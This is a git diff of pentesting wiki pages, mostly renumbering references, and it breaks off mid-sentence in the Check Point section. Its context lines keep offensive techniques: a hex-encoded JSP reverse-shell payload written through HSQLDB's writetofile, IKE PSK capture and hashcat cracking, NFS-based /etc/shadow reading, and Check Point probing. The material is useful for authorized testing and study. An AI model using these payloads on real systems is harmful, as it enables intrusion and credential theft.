b/src/network-services-pentesting/8089-splunkd.md @@ -123,4 +123,3 @@ In the following page you can find an explanation how this service can be abused - [1] [Attacking Splunk - RCE via custom application (HTB Academy)](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}} - diff --git a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md index d64c8abc49c..81e6ba89514 100644 --- a/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md +++ b/src/network-services-pentesting/8333-18333-38333-18444-pentesting-bitcoin.md @@ -49,6 +49,3 @@ PORT STATE SERVICE ``` {{#include ../banners/hacktricks-training.md}} - - - diff --git a/src/network-services-pentesting/873-pentesting-rsync.md b/src/network-services-pentesting/873-pentesting-rsync.md index 32d53e0c4b7..e51995dda78 100644 --- a/src/network-services-pentesting/873-pentesting-rsync.md +++ b/src/network-services-pentesting/873-pentesting-rsync.md @@ -99,5 +99,3 @@ Within this file, a _secrets file_ parameter might point to a file containing ** - [1] [Pentesting Rsync - SmeegeSec](https://www.smeegesec.com/2016/12/pentesting-rsync.html) {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/9000-pentesting-fastcgi.md b/src/network-services-pentesting/9000-pentesting-fastcgi.md index c76fa9d3e4b..a1cec7cdcad 100644 --- a/src/network-services-pentesting/9000-pentesting-fastcgi.md +++ b/src/network-services-pentesting/9000-pentesting-fastcgi.md @@ -89,16 +89,14 @@ Convert `payload` to URL-safe base64/percent-encoding and send via `gopher://hos ### Notes on recent issues -* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).[[1]](#references)[[2]](#references) -* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.[[3]](#references) +* **libfcgi <= 2.4.4 integer overflow (2024):** crafted `nameLen`/`valueLen` in FastCGI records can overflow on 32‑bit builds (common in embedded/IoT), yielding heap RCE when the FastCGI socket is reachable (directly or via SSRF).[[1]](#references)[[3]](#references) +* **PHP-FPM log manipulation (CVE-2024-9026):** when `catch_workers_output = yes`, attackers who can send FastCGI requests may truncate or inject up to 4 bytes per log line to erase indicators or poison logs.[[2]](#references) * **Classic Nginx + cgi.fix_pathinfo misconfig:** still widely seen; if `fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;` is used without file existence checks, any path ending in `.php` gets executed, enabling path traversal or source overwrite style gadgets. - - ## References -- [1] [CVE-2025-23016 - Exploiting the FastCGI library (Synacktiv)](https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library) -- [2] [FastCGI library integer overflow leading to RCE](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/) -- [3] [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/) +- [1] [FastCGI library integer overflow leading to RCE (CVE-2025-23016)](https://cybersecuritynews.com/fastcgi-integer-overflow-flaw/) +- [2] [CVE-2024-9026 PHP-FPM log manipulation analysis](https://cyrisk.com/security/cve-2024-9026-log-manipulation/) +- [3] [CVE-2025-23016 - Exploiting the FastCGI library (Synacktiv)](https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9001-pentesting-hsqldb.md b/src/network-services-pentesting/9001-pentesting-hsqldb.md index be3346f9dfc..9af1cf9d9ea 100644 --- a/src/network-services-pentesting/9001-pentesting-hsqldb.md +++ b/src/network-services-pentesting/9001-pentesting-hsqldb.md @@ -4,7 +4,7 @@ ## Basic Information -**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** is the leading SQL relational database system written in Java. It offers a small, fast multithreaded and transactional database engine with in-memory and disk-based tables and supports embedded and server modes. +**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** is the leading SQL relational database system written in Java. It offers a small, fast multithreaded and transactional database engine with in-memory and disk-based tables and supports embedded and server modes.[[1]](#references) **Default port:** 9001 @@ -28,7 +28,7 @@ Note the database name carefully - you’ll need it to connect. ## Info Gathering -Connect to the DB instance by [downloading HSQLDB](https://sourceforge.net/projects/hsqldb/files/) and extracting `hsqldb/lib/hsqldb.jar`. Run the GUI app \(eww\) using `java -jar hsqldb.jar` and connect to the instance using the discovered/weak credentials. +Connect to the DB instance by [downloading HSQLDB](https://sourceforge.net/projects/hsqldb/files/) and extracting `hsqldb/lib/hsqldb.jar`. Run the GUI app \(eww\) using `java -jar hsqldb.jar` and connect to the instance using the discovered/weak credentials.[[2]](#references) Note the connection URL will look something like this for a remote system: `jdbc:hsqldb:hsql://ip/DBNAME`. @@ -58,7 +58,7 @@ Execute function: VALUES(getsystemproperty('user.name')) ``` -You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). +You can find a [list of system properties here](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).[[3]](#references) ### Write Content to File @@ -78,7 +78,10 @@ Execute procedure: call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ``` -{{#include ../banners/hacktricks-training.md}} - +## References +- [1] [HSQLDB - HyperSQL DataBase (official site)](http://hsqldb.org/) +- [2] [HSQLDB downloads (SourceForge)](https://sourceforge.net/projects/hsqldb/files/) +- [3] [The Java Tutorials - System Properties](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9100-pjl.md b/src/network-services-pentesting/9100-pjl.md index 4a647293b37..b0ace8ccf20 100644 --- a/src/network-services-pentesting/9100-pjl.md +++ b/src/network-services-pentesting/9100-pjl.md @@ -4,7 +4,7 @@ ## Basic Information -From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer. It is the default method used by CUPS and the Windows printing architecture to communicate with network printers as it is considered as ‘_the simplest, fastest, and generally the most reliable network protocol used for printers_’. Raw port 9100 printing, also referred to as JetDirect, AppSocket or PDL-datastream actually **is not a printing protocol by itself**. Instead **all data sent is directly processed by the printing device**, just like a parallel connection over TCP. In contrast to LPD, IPP and SMB, this can send direct feedback to the client, including status and error messages. Such a **bidirectional channel** gives us direct **access** to **results** of **PJL**, **PostScript** or **PCL** commands. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with PRET and PFT. +From [here](http://hacking-printers.net/wiki/index.php/Port_9100_printing): Raw printing is what we define as the process of making a connection to port 9100/tcp of a network printer. It is the default method used by CUPS and the Windows printing architecture to communicate with network printers as it is considered as ‘_the simplest, fastest, and generally the most reliable network protocol used for printers_’. Raw port 9100 printing, also referred to as JetDirect, AppSocket or PDL-datastream actually **is not a printing protocol by itself**. Instead **all data sent is directly processed by the printing device**, just like a parallel connection over TCP. In contrast to LPD, IPP and SMB, this can send direct feedback to the client, including status and error messages. Such a **bidirectional channel** gives us direct **access** to **results** of **PJL**, **PostScript** or **PCL** commands. Therefore raw port 9100 printing – which is supported by almost any network printer – is used as the channel for security analysis with PRET and PFT.[[1]](#references) If you want to learn more about [**hacking printers read this page**](http://hacking-printers.net/wiki/index.php/Main_Page). @@ -58,7 +58,7 @@ This is the tool you want to use to abuse printers: [PRET](https://github.com/RU ## XPS/TrueType VM exploitation (Canon ImageCLASS) -- Deliver XPS over PJL: +- Deliver XPS over PJL:[[2]](#references) - `@PJL ENTER LANGUAGE = XPS` - Then send the XPS ZIP bytes on the same TCP connection. @@ -68,7 +68,7 @@ This is the tool you want to use to abuse printers: [PRET](https://github.com/RU ``` -- RCE primitive summary (TrueType hinting VM): +- RCE primitive summary (TrueType hinting VM):[[2]](#references)[[3]](#references) - Hinting bytecode in TTF is executed by a TrueType VM. Canon’s VM lacked stack bounds checks. - CINDEX: OOB stack read → info leak - DELTAP1: unchecked relative stack pivot → controlled writes with subsequent pushes @@ -92,7 +92,9 @@ This is the tool you want to use to abuse printers: [PRET](https://github.com/RU - `pjl port:9100` ## References -- [Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)](https://haxx.in/posts/2025-09-23-canon-ttf/) -- [Apple TrueType Reference Manual – Instruction Set and VM (26.6 fixed point)](https://developer.apple.com/fonts/TrueType-Reference-Manual/RM05/Chap5.html) + +- [1] [Hacking Printers Wiki – Port 9100 (Raw) Printing](http://hacking-printers.net/wiki/index.php/Port_9100_printing) +- [2] [Hacking printers using fonts (Canon ImageCLASS TrueType VM bugs)](https://haxx.in/posts/2025-09-23-canon-ttf/) +- [3] [Apple TrueType Reference Manual – Instruction Set and VM (26.6 fixed point)](https://developer.apple.com/fonts/TrueType-Reference-Manual/RM05/Chap5.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index e735ede1fee..1e3c5c7c1ff 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -94,7 +94,7 @@ Here are some endpoints that you can **access via GET** to **obtain** some **inf | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -These endpoints were [**taken from the documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) where you can **find more**.\ +These endpoints were [**taken from the documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) where you can **find more**.[[1]](#references)\ Also, if you access `/_cat` the response will contain the `/_cat/*` endpoints supported by the instance. In `/_security/user` (if auth enabled) you can see which user has role `superuser`. @@ -184,4 +184,8 @@ https://github.com/theMiddleBlue/nmap-elasticsearch-nse - `port:9200 elasticsearch` +## References + +- [1] [Elasticsearch REST APIs documentation](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/cassandra.md b/src/network-services-pentesting/cassandra.md index d7bb7e9b3bc..8b41f9358c6 100644 --- a/src/network-services-pentesting/cassandra.md +++ b/src/network-services-pentesting/cassandra.md @@ -52,5 +52,3 @@ nmap -sV --script cassandra-info -p {{#include ../banners/hacktricks-training.md}} - - diff --git a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md index b2eb135ad46..449e1e3b6bf 100644 --- a/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/src/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -32,7 +32,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) The IPSec configuration can be prepared only to accept one or a few transformations. A transformation is a combination of values. **Each transform** contains a number of attributes like DES or 3DES as the **encryption algorithm**, SHA or MD5 as the **integrity algorithm**, a pre-shared key as the **authentication type**, Diffie-Hellman 1 or 2 as the key **distribution algorithm** and 28800 seconds as the **lifetime**. -Then, the first thing that you have to do is to **find a valid transformation**, so the server will talk to you. To do so, you can use the tool **ike-scan**. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with **eight transforms inside it**. +Then, the first thing that you have to do is to **find a valid transformation**, so the server will talk to you. To do so, you can use the tool **ike-scan**. By default, Ike-scan works in main mode, and sends a packet to the gateway with an ISAKMP header and a single proposal with **eight transforms inside it**.[[3]](#references) Depending on the response you can obtain some information about the endpoint: @@ -91,7 +91,7 @@ Cisco indicates to avoid using DH groups 1 and 2 because they're not strong enou ### Server fingerprinting -Then, you can use ike-scan to try to **discover the vendor** of the device. The tool send an initial proposal and stops replaying. Then, it will **analyze** the **time** difference **between** the received **messages** from the server and the matching response pattern, the pentester can successfully fingerprint the VPN gateway vendor. More over, some VPN servers will use the optional **Vendor ID (VID) payload** with IKE. +Then, you can use ike-scan to try to **discover the vendor** of the device. The tool send an initial proposal and stops replaying. Then, it will **analyze** the **time** difference **between** the received **messages** from the server and the matching response pattern, the pentester can successfully fingerprint the VPN gateway vendor. More over, some VPN servers will use the optional **Vendor ID (VID) payload** with IKE.[[3]](#references) **Specify the valid transformation if needed** (using --trans) @@ -121,7 +121,7 @@ This can be also achieve with nmap script _**ike-version**_ ### IKEv2-specific: WatchGuard Vendor ID version fingerprinting -Some IKEv2 daemons include non-standard Vendor ID payloads in the IKE_SA_INIT response. WatchGuard Fireware OS encodes the appliance version/build directly inside the VID, allowing single-packet, pre-auth fingerprinting. +Some IKEv2 daemons include non-standard Vendor ID payloads in the IKE_SA_INIT response. WatchGuard Fireware OS encodes the appliance version/build directly inside the VID, allowing single-packet, pre-auth fingerprinting.[[5]](#references) - Transport: UDP/500 (and UDP/4500 for NAT-T) - Packet: IKE_SA_INIT response contains one or more Vendor ID payloads @@ -211,13 +211,13 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ### Sniffing ID -(From the book **Network Security Assessment: Know Your Network**): It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear +(From the book **Network Security Assessment: Know Your Network**): It is also possible to obtain valid usernames by sniffing the connection between the VPN client and server, as the first aggressive mode packet containing the client ID is sent in the clear[[4]](#references) ![Bruteforcing ID with ikeforce - Sniffing ID: (From the book Network Security Assessment: Know Your Network ): It is also possible to obtain valid usernames by sniffing the connection...](<../images/image (891).png>) ### Aggressive Mode identity leakage -Aggressive Mode must send the **ID** early so the gateway can pick the right PSK when **multiple groups/users** exist. This means the **identity is exposed pre-auth**, unlike Main Mode where it is encrypted in later packets. You can extract it quickly: +Aggressive Mode must send the **ID** early so the gateway can pick the right PSK when **multiple groups/users** exist. This means the **identity is exposed pre-auth**, unlike Main Mode where it is encrypted in later packets. You can extract it quickly:[[6]](#references) ```bash ike-scan -A @@ -231,11 +231,11 @@ ike-scan -A --pskcrack=handshake.txt hashcat -m 5400 handshake.txt /path/to/wordlist.txt ``` -Recovered PSKs are often **reused** as credentials for other services (SSH, VPN client auth), so test them against exposed services. +Recovered PSKs are often **reused** as credentials for other services (SSH, VPN client auth), so test them against exposed services.[[6]](#references) ## Capturing & cracking the hash -Finally, If you have found a **valid transformation** and the **group name** and if the **aggressive mode is allowed**, then you can very easily grab the crackable hash: +Finally, If you have found a **valid transformation** and the **group name** and if the **aggressive mode is allowed**, then you can very easily grab the crackable hash:[[1]](#references) ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor @@ -257,7 +257,7 @@ Transitioning to **IKEv2**, a notable shift is observed where **EAP (Extensible ### Local network MitM to capture credentials -So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials: +So you can capture the data of the login using _fiked_ and see if there is any default username (You need to redirect IKE traffic to `fiked` for sniffing, which can be done with the help of ARP spoofing, [more info](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked will act as a VPN endpoint and will capture the XAuth credentials:[[10]](#references) ```bash fiked -g -k testgroup:secretkey -l output.txt -d @@ -309,7 +309,7 @@ Ensure that actual, secure values are used to replace the placeholders when conf ## IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs -Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH. +Modern VPN appliances often expose IKEv2 on UDP/500 (and UDP/4500 for NAT-T). A common pre-authentication attack surface is the parsing of Identification (IDi) and Certificate payloads during IKE_SA_AUTH.[[5]](#references) High-level exploitation flow when a vulnerable IKEv2 parser exists: - Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman. @@ -330,14 +330,14 @@ Practical tips ## IKEv2 fragmentation abuse: async shallow-copy double free (Windows IKEEXT case study) -RFC 7383 fragmentation (`SKF`, payload type `0x35`) is a good place to look for **pre-auth memory corruption** in IKEv2 implementations. Reassembly code often builds a temporary packet context, copies state from the long-lived SA object, and reinjects the reassembled message into later parsing stages. If some fields are **deep-copied** while embedded pointers are only **shallow-copied**, packet-context cleanup can free memory still owned by the SA, and the same allocation can be freed again later during SA teardown. +RFC 7383 fragmentation (`SKF`, payload type `0x35`)[[8]](#references) is a good place to look for **pre-auth memory corruption** in IKEv2 implementations. Reassembly code often builds a temporary packet context, copies state from the long-lived SA object, and reinjects the reassembled message into later parsing stages. If some fields are **deep-copied** while embedded pointers are only **shallow-copied**, packet-context cleanup can free memory still owned by the SA, and the same allocation can be freed again later during SA teardown.[[7]](#references) Real-world pattern seen in Windows IKEEXT: - During `IKE_SA_INIT`, a Vendor ID handler allocates a blob tied to the SA. - A fragmented `IKE_AUTH` is reassembled and queued for async processing. - The queueing path deep-copies the reassembly buffer but leaves the SA-owned blob pointer aliased inside the queued packet context. - Destroying the queued context frees the aliased pointer first. -- Negotiation cleanup later tears down the original SA and frees the same pointer again, yielding a **double free** reachable from the network. +- Negotiation cleanup later tears down the original SA and frees the same pointer again, yielding a **double free** reachable from the network.[[7]](#references)[[9]](#references) Practical auditing notes: - Treat **fragment reassembly + reinjection + async work queues** as one attack surface, not separate features. @@ -347,7 +347,7 @@ Practical auditing notes: ### Detection notes for fragmentation-driven IKEv2 exploitation -This pattern is **stateful**. A single packet is not enough; correlate packets within the same IKE session: +This pattern is **stateful**. A single packet is not enough; correlate packets within the same IKE session:[[7]](#references) 1. Look for an `IKE_SA_INIT` request that contains a vendor-specific setup payload. In the Windows case study, the write-up keys on: - UDP payload offset `17`: `20 22 08` (`IKEv2`, `IKE_SA_INIT`, initiator) @@ -363,14 +363,7 @@ Parsing notes: Operational notes: - If IKE is not needed, block **UDP/500** and **UDP/4500**. -- If IKE is required, restrict those ports to known peers while patches are being deployed. - -## Reference Material - -- [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) -- [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) -- [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) -- Network Security Assessment 3rd Edition +- If IKE is required, restrict those ports to known peers while patches are being deployed.[[9]](#references) ## Shodan @@ -380,10 +373,15 @@ Operational notes: ## References -- [YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)](https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242/) -- [0xdf – HTB: Expressway](https://0xdf.gitlab.io/2026/03/07/htb-expressway.html) -- [ZDI - CVE-2026-33824: Remote Code Execution in Windows IKEv2](https://www.thezdi.com/blog/2026/4/22/cve-2026-33824-remote-code-execution-in-windows-ikev2) -- [RFC 7383 - Internet Key Exchange Protocol Version 2 (IKEv2) Message Fragmentation](https://datatracker.ietf.org/doc/rfc7383/) -- [Microsoft Security Update Guide - CVE-2026-33824](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824) +- [1] [PSK Cracking using IKE Aggressive Mode](http://www.ernw.de/download/pskattack.pdf) +- [2] [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) +- [3] [Scanning and probing a VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf) +- [4] [Network Security Assessment: Know Your Network, 3rd Edition](https://www.oreilly.com/library/view/network-security-assessment/9781491910955/) +- [5] [YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)](https://labs.watchtowr.com/yikes-watchguard-fireware-os-ikev2-out-of-bounds-write-cve-2025-9242/) +- [6] [0xdf – HTB: Expressway](https://0xdf.gitlab.io/2026/03/07/htb-expressway.html) +- [7] [ZDI - CVE-2026-33824: Remote Code Execution in Windows IKEv2](https://www.thezdi.com/blog/2026/4/22/cve-2026-33824-remote-code-execution-in-windows-ikev2) +- [8] [RFC 7383 - Internet Key Exchange Protocol Version 2 (IKEv2) Message Fragmentation](https://datatracker.ietf.org/doc/rfc7383/) +- [9] [Microsoft Security Update Guide - CVE-2026-33824](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824) +- [10] [opensourceforu.com - Ipsec Vpn Penetration Testing Backtrack Tools](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/nfs-service-pentesting.md b/src/network-services-pentesting/nfs-service-pentesting.md index 4a2e013a2b5..1b29be424d8 100644 --- a/src/network-services-pentesting/nfs-service-pentesting.md +++ b/src/network-services-pentesting/nfs-service-pentesting.md @@ -16,7 +16,7 @@ A notable aspect of this protocol is its usual lack of built-in **authentication** or **authorization mechanisms**. Instead, authorization relies on **file system information**, with the server tasked with accurately translating **client-provided user information** into the file system's required **authorization format**, primarily following **UNIX syntax**. -Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Moreover, these details are sent by the client and trusted by the server, so a rogue client could potentially **impersonate another user sending more privileged `uid` and `gid`s. +Authentication commonly relies on **UNIX `UID`/`GID` identifiers and group memberships**. However, a challenge arises due to the potential mismatch in **`UID`/`GID` mappings** between clients and servers, leaving no room for additional verification by the server. Moreover, these details are sent by the client and trusted by the server, so a rogue client could potentially **impersonate another user sending more privileged `uid` and `gid`s.[[1]](#references) **However, note that by default it's not possible to impersonate the `UID` 0 (root) using NFS. More on this ins the squashing section.** @@ -44,7 +44,7 @@ Each version of NFS has been developed with the intent to address the evolving n ### Squashing -As mentioned previously, NFS will usually trust the client's `uid` and `gid` to access the files (if kerberos is not used). However, there are some configurations that can be set in the server to **change this behavior**: +As mentioned previously, NFS will usually trust the client's `uid` and `gid` to access the files (if kerberos is not used). However, there are some configurations that can be set in the server to **change this behavior**:[[1]](#references) - **all_squash**: It squashes all accesses mapping every user and group to **`nobody`** (65534 unsigned / -2 signed). Therefore, everyone is `nobody` and no users are used. - **root_squash/no_all_squash**: This is default on Linux and **only squashes access with uid 0 (root)**. Therefore, any `UID` and `GID` are trusted but `0` is squashed to `nobody` (so no root imperonation is possible). @@ -85,7 +85,7 @@ scanner/nfs/nfsmount #Scan NFS mounts and list permissions ### nfs_analyze -This tool from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) can be used to obtain a lot of data from an NFS server like **mounts**, supported NFS versions, conencted IPs, and even if it's possible to **escape from the exports** to other folder sin the FS or **if `no_root_squash` is enabled**. +This tool from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) can be used to obtain a lot of data from an NFS server like **mounts**, supported NFS versions, conencted IPs, and even if it's possible to **escape from the exports** to other folder sin the FS or **if `no_root_squash` is enabled**.[[1]](#references) ## Mounting @@ -118,7 +118,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock Ofc, the only problem here is that by default it's not possible to impersonate root (`UID` 0). However, it's possible to impersonate any other user or if `no_root_squash` is enabled you can also impersonate root. - If you mount a folder which contains **files or folders only accesible by some user** (by **UID**). You can **create** **locally** a user with that **UID** and using that **user** you will be able to **access** the file/folder. -- The tool **`fuse_nfs`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) will basically send always the needed UID and GID to access the files. +- The tool **`fuse_nfs`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) will basically send always the needed UID and GID to access the files.[[1]](#references) ### SUID Privilege Escalation @@ -137,9 +137,9 @@ Therefore, if an export is exporting a folder that is a **subfolder** of the **w For example, if an NFS server is exporting `/srv/` and `/var/` is in the same filesystem, it's possible to read logs from `/var/log/` or store a webshell in `/var/www/`. -Moreover, note that by default only the root (0) user is protected from being impersonated (check the Squash section). However, if a file is **owned by root but the group is not 0, it's possible to access it**. For example, the file `/etc/shadow` is owned by root but the group is `shadow` (gid 42 on Debian). Therefore, it's possible to read it by default! +Moreover, note that by default only the root (0) user is protected from being impersonated (check the Squash section). However, if a file is **owned by root but the group is not 0, it's possible to access it**. For example, the file `/etc/shadow` is owned by root but the group is `shadow` (gid 42 on Debian). Therefore, it's possible to read it by default![[1]](#references) -The tool **`nfs_analyze`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) is built to support this attack against the file systems ext4, xfs, btrfs in the version 3 (it should also be posisble in v4). +The tool **`nfs_analyze`** from [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling) is built to support this attack against the file systems ext4, xfs, btrfs in the version 3 (it should also be posisble in v4).[[1]](#references) ### NSFShell diff --git a/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md b/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md index d373b4b70d3..2e88044c4bf 100644 --- a/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md +++ b/src/network-services-pentesting/pentesting-264-check-point-firewall-1.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -It's possible to interact with **CheckPoint** **Firewall-1** firewalls to discover valuable information such as the firewall's name and the management station's name. This can be done by sending a query to port **264/TCP**. +It's possible to interact with **CheckPoint** **Firewall-1** firewalls to discover valuable information such as the firewall's name and the management station's name. This can be done by sending a query to port **264/TCP**.[[1]](#references)[[2]](#references) On modern deployments this is still useful because **TCP/264** is the `FW1_topo` implied-rule service used for topology download by SecureClient / Endpoint Connect, so it often answers even when the policy is otherwise restrictive. A hit on this port is therefore both a fingerprint for Check Point and a clue that remote-access or management-related functionality is present somewhere behind the gateway. @@ -15,7 +15,7 @@ use auxiliary/gather/checkpoint_hostname set RHOST 10.10.10.10 ``` -Upon execution, the module attempts to contact the firewall's SecuRemote Topology service. If successful, it confirms the presence of a Check Point Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here's an example of what the output might look like: +Upon execution, the module attempts to contact the firewall's SecuRemote Topology service. If successful, it confirms the presence of a Check Point Firewall and retrieves the names of both the firewall and the SmartCenter management host. Here's an example of what the output might look like:[[1]](#references)[[2]](#references) ```text [*] Attempting to contact Checkpoint FW1 SecuRemote Topology service... @@ -29,7 +29,7 @@ The leaked management hostname is usually the most valuable field. In real envir ## Alternative Method for Hostname and ICA Name Discovery -Another technique involves a direct command that sends a specific query to the firewall and parses the response to extract the firewall's hostname and ICA name. The command and its structure are as follows: +Another technique involves a direct command that sends a specific query to the firewall and parses the response to extract the firewall's hostname and ICA name. The command and its structure are as follows:[[1]](#references)[[2]](#references) ```bash printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 10.10.10.10 264 | grep -a CN | cut -c 2- @@ -47,7 +47,7 @@ In practice, `CN` is the gateway object / hostname and `O` commonly maps to the Once `264/TCP` confirms a Check Point device, don't stop at the hostname leak. Use the leaked management name to prioritize the rest of the Check Point control plane: -- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, **18264/TCP (ICA_SERVICES)**, and **19009/TCP (CPM/DLE SOAP SmartConsole services)**. +- Probe the management host and nearby gateway IPs for **443/TCP** and Check Point control channels such as **18190/TCP (CPMI)**, **18191/TCP (CPD)**, **18210/TCP (ICA_PULL)**, **18211/TCP (ICA_PUSH)**, **18231/TCP (Policy Server login)**, **18264/TCP (ICA_SERVICES)**, and **19009/TCP (CPM/DLE SOAP SmartConsole services)**.[[5]](#references) - These ports are frequently reachable only after landing on a VPN segment, jump host, or management VLAN, but `FW1_topo` gives you the names to look for. - If the environment enables **Accept Control Connections**, several of these services are opened automatically by design, so they are worth rescanning from every new foothold. @@ -69,11 +69,11 @@ The output commonly reveals gateway objects, cluster members, management IPs, an ## SmartConsole / Security Management Server Authentication Bypass Workflow -If the leaked management host exposes **18190/TCP** (legacy **CPMI/FWM**) and **19009/TCP** (**CPM/DLE** SOAP under `/cpmws/`), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session. +If the leaked management host exposes **18190/TCP** (legacy **CPMI/FWM**) and **19009/TCP** (**CPM/DLE** SOAP under `/cpmws/`), treat them as a chained trust surface rather than as two unrelated services. SmartConsole logins cross both protocols, so a trust-boundary bug in native application authentication can become a full GUI administrator session.[[8]](#references)[[10]](#references) ### Application-layer SIC identity override -During SIC bootstrap, the management server exposes its own SIC DN (for example `cn=cp_mgmt,o=`). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as `CPM Server` without loading a matching client certificate. +During SIC bootstrap, the management server exposes its own SIC DN (for example `cn=cp_mgmt,o=`). A vulnerable implementation may later accept a second DN inside an FwSet application bind and use that attacker-controlled string as the effective remote identity instead of the TLS-authenticated certificate DN. If that happens, a remote client can impersonate trusted internal applications such as `CPM Server` without loading a matching client certificate.[[8]](#references)[[9]](#references) ```text ( @@ -90,7 +90,7 @@ This is a good generic review pattern for proprietary management protocols: if b ### Cross-protocol token reuse -After a forged application bind, the attacker can ask the legacy service 